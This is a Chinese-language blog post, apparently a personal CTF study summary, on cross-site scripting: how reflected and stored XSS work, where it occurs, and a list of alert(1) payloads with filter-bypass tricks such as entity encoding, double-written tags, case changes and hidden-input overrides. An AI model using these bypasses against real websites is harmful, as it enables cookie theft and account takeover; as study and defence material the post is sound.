xss總結--2018自我整理

0x00前言

因爲ctf中xss的題目偏少(因爲需要機器人在後臺點選手的連接2333),所有寫的比較少

這裏推薦個環境http://test.xss.tv/

 

0x01xss作用

常見的輸出函數:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()

xss是往頁面中添加了一段代碼,並且被瀏覽器執行了

反射型將惡意代碼寫入參數,或者自己服務器上搭個form表單傳送,用來釣魚

存儲型就等着別人點這個網頁就行了

 

0x02手段

xss主要出現的地方:文章發表,評論回覆,留言,資料設置等

xss無非就是要對方的cookie,但是常常會有httponly導致cookie並不能傳到xss平臺,這是一種有效的防禦方式

但是xss預防應該從本質出發,即對該頁面用戶輸入不能被執行

 

xss觸發方法

利用script標籤執行js

<script>alert(1)</script>

字符串用" ' 包裹都行

採用on事件方法

on事件不用單引號或雙引號也可以觸發,但是必須閉合標籤內的引號

<onclick=alert(1)>     =>點擊就會觸發
<onmouseover=alert(1)> =>鼠標移動觸發

能夠使用on事件的標籤

支持on click事件的標籤有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>

採用a標籤來做到xss

<a href="javascript:alert(1)" >

 

0x03bypass方法

採用編碼,把字符串可以進行編碼

&#   後接十進制     => unicode編碼
&#x 後接十六進制    => unicode編碼

 

採用標籤中的空隙規則

假設正則是

<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>

可以採用

<script>alert(1)</script > ==> 最後有個p和>間有空格繞過

 

採用雙寫繞過空字符替換

如果被刪除關鍵字,可以採用重寫方法比如 <scriscriptpt>


採用大小寫繞過不嚴格的waf

 <script>   => <Script>

 

採用參數覆蓋,覆蓋掉hidden參數

<input name="t_sort"  value="" onmouseover=alert(1) type="text" type="hidden">
我們輸入的內容爲:" onmouseover=alert(1) type="text

 

有些標籤的優先級高於",導致執行xss

  • <!--

  • <iframe>

  • <noframes>

  • <noscript>

  • <script>

  • <style>

  • <textarea>

  • <title>

  • <xmp>

具體原理參考鏈接:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg

使用方法

<iframe>"</iframe><script>alert(1)</script>"</iframe>  #這語句是會彈框的

假設輸入的內容是
</iframe><script>alert(1)</script>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章